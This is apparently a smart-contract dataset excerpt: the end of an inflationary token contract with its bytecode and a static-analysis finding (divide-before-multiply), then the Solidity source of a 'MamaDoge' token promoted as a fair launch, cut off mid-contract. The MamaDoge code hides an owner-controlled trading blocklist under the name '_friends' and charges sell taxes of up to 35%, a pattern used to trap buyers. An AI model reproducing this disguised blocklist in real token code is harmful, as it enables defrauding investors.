uint256 private releasedTokens;
uint256 private constant calcresolution = 10000000;
constructor() public {
paused = false;
inflationPeriodStart = now;
}
function balanceOf(address _owner) public view returns (uint256) {
//Only contract owner balance is calculated differently. It is dynamic and is always calculated as difference
// between totalSupply which is dyanmic and amount of tokens released by the contract.
if (_owner == owner)
{
return totalSupply() - releasedTokens;
}
else {
return balances[_owner];
}
}
function totalSupply() public view returns (uint256 _supply)
{
uint256 per15perMinute = (150*calcresolution /(365*24*60) * initialSupply) /(calcresolution*1000);
uint256 per12perMinute = (125*calcresolution /(365*24*60) * initialSupply) /(calcresolution*1000);
uint256 per10perMinute = (100*calcresolution /(365*24*60) * initialSupply) /(calcresolution*1000);
uint secondsFromStart = now - inflationPeriodStart;
uint minutesFromStart = secondsFromStart/60;
// return (per15perMinute,per12perMinute,per10perMinute);
uint256 currentTime = now;
if (currentTime > inflationPeriodStart + per15Period + per12Period) //10% per year Period
{
uint minutes10perPeriod = (currentTime - (inflationPeriodStart + per15Period + per12Period))/60;
uint supply = initialSupply + minutes10perPeriod*per10perMinute + (per12Period*per12perMinute/60) + (per15Period*per15perMinute/60);
// return (period,supply,minutesFromStart,secondsFromStart,per10perMinute);
}
else if (currentTime > inflationPeriodStart + per15Period) //12% per year Period
{
uint minutes12perPeriod = (currentTime - (inflationPeriodStart + per15Period))/60;
supply = initialSupply + minutes12perPeriod*per12perMinute + (per15Period*per15perMinute/60);
// return (period,supply,minutesFromStart,secondsFromStart,per12perMinute);
}
else {
uint minutes15perPeriod = (currentTime - inflationPeriodStart)/60;
supply = initialSupply + minutes15perPeriod*per15perMinute;
// return (period,supply,minutesFromStart,secondsFromStart,per15perMinute) ;
}
return supply;
}
/**
* @dev Return dynamic totalSuply of this token. It is linear function.
*/
// function totalSupply() public view returns (uint256)
// {
// uint256 currentTime = 0 ;
// uint256 curSupply = 0;
// currentTime = now;
// if (currentTime > inflationPeriodEnd)
// {
// currentTime = inflationPeriodEnd;
// }
// uint256 timeLapsed = currentTime - inflationPeriodStart;
// uint256 timePer = _timePer();
// curSupply = finalSupply.sub(initialSupply).mul(timePer).div(inflationResolution).add(initialSupply);
// return curSupply;
// }
// function _timePer() internal view returns (uint256 _timePer)
// {
// uint currentTime = now ;
// if (currentTime > inflationPeriodStart + per15Period + per12Period) //we are in the 10% period
// {
// //calculate how many yers in 10% period
// uint256 timeInPer10Period = currentTime - (inflationPeriodStart + per15Period + per12Period);
// uint256 yearsInPer10Period = timeInPer10Period.div(365 days);
// uint256 lastYearRatio = timeInPer10Period.sub(yearsInPer10Period * 365 days);
// }
// if (currentTime > inflationPeriodEnd)
// {
// currentTime = inflationPeriodEnd;
// }
// uint256 timeLapsed = currentTime - inflationPeriodStart;
// uint256 timePer = timeLapsed.mul(inflationResolution).div(inflationPeriod);
// return(timePer);
// }
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(balanceOf(msg.sender) >= _value);
if(msg.sender == owner)
{
releasedTokens = releasedTokens.add(_value);
}
else
{
balances[msg.sender] = balances[msg.sender].sub(_value);
}
if(_to == owner)
{
releasedTokens = releasedTokens.sub(_value);
}
else {
balances[_to] = balances[_to].add(_value);
}
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(balanceOf(_from) >= _value);
require(_value <= allowed[_from][msg.sender]);
if(_from == owner)
{
releasedTokens = releasedTokens.add(_value);
}
else
{
balances[_from] = balances[_from].sub(_value);
}
if(_to == owner)
{
releasedTokens = releasedTokens.sub(_value);
}
else {
balances[_to] = balances[_to].add(_value);
}
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce567146102905780633f4ba83a146102bb5780635c975abb146102d2578063661884631461030157806370a08231146103665780638456cb59146103bd5780638da5cb5b146103d457806395d89b411461042b578063a9059cbb146104bb578063d73dd62314610520578063dd62ed3e14610585578063f2fde38b146105fc575b600080fd5b3480156100f757600080fd5b5061010061063f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610678565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f56106a8565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086b565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610cbe565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610cc3565b005b3480156102de57600080fd5b506102e7610d83565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b5061034c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d96565b604051808215151515815260200191505060405180910390f35b34801561037257600080fd5b506103a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc6565b6040518082815260200191505060405180910390f35b3480156103c957600080fd5b506103d2610e78565b005b3480156103e057600080fd5b506103e9610f39565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043757600080fd5b50610440610f5f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610480578082015181840152602081019050610465565b50505050905090810190601f1680156104ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104c757600080fd5b50610506600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f98565b604051808215151515815260200191505060405180910390f35b34801561052c57600080fd5b5061056b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611250565b604051808215151515815260200191505060405180910390f35b34801561059157600080fd5b506105e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611280565b6040518082815260200191505060405180910390f35b34801561060857600080fd5b5061063d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611307565b005b6040805190810160405280601281526020017f41656769732045636f6e6f6d7920436f696e000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561069657600080fd5b6106a0838361145f565b905092915050565b60008060008060008060008060008060006103e862989680026a295be96e6406697200000062080520629896806096028115156106e157fe5b04028115156106ec57fe5b0499506103e862989680026a295be96e640669720000006208052062989680607d0281151561071757fe5b040281151561072257fe5b0498506103e862989680026a295be96e64066972000000620805206298968060640281151561074d57fe5b040281151561075857fe5b04975060045442039650603c8781151561076e57fe5b0495504294506301e133808060045401018511156107e057603c6301e13380806004540101860381151561079e57fe5b049350603c8a6301e13380028115156107b357fe5b04603c8a6301e13380028115156107c657fe5b048986026a295be96e64066972000000010101925061085b565b6301e133806004540185111561083457603c6301e1338060045401860381151561080657fe5b049150603c8a6301e133800281151561081b57fe5b048983026a295be96e640669720000000101925061085a565b603c600454860381151561084457fe5b0490508981026a295be96e640669720000000192505b5b829a505050505050505050505090565b6000600360149054906101000a900460ff1615151561088957600080fd5b8161089385610dc6565b101515156108a057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561092b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156109a1576109968260055461155190919063ffffffff16565b600581905550610a35565b6109f2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aab57610aa08260055461156f90919063ffffffff16565b600581905550610b3f565b610afc826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610bce82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1f57600080fd5b600360149054906101000a900460ff161515610d3a57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610db457600080fd5b610dbe8383611588565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e3157600554610e296106a8565b039050610e73565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed457600080fd5b600360149054906101000a900460ff16151515610ef057600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f414745430000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610fb657600080fd5b81610fc033610dc6565b10151515610fcd57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611043576110388260055461155190919063ffffffff16565b6005819055506110d7565b611094826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114d576111428260055461156f90919063ffffffff16565b6005819055506111e1565b61119e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff1615151561126e57600080fd5b6112788383611819565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561139f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561156557fe5b8091505092915050565b600082821115151561157d57fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611699576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061172d565b6116ac838261156f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60006118aa82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820dffb6ef44f544494d00ea945e44f3f493230b2d97362c8d8d064133231859b6d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 666 |
0x611c2c89d56609b9cdae9182f727a85305cb2aac | /**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
/**
*
MamaDoge is going to launch in the Uniswap at July 11.
This is fair launch and going to launch without any presale.
tg: https://t.me/MamaDogeInternational
All crypto babies will become a MamaDoge in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MamaDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" Mama Doge ";
string private constant _symbol = unicode" MDOGE ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
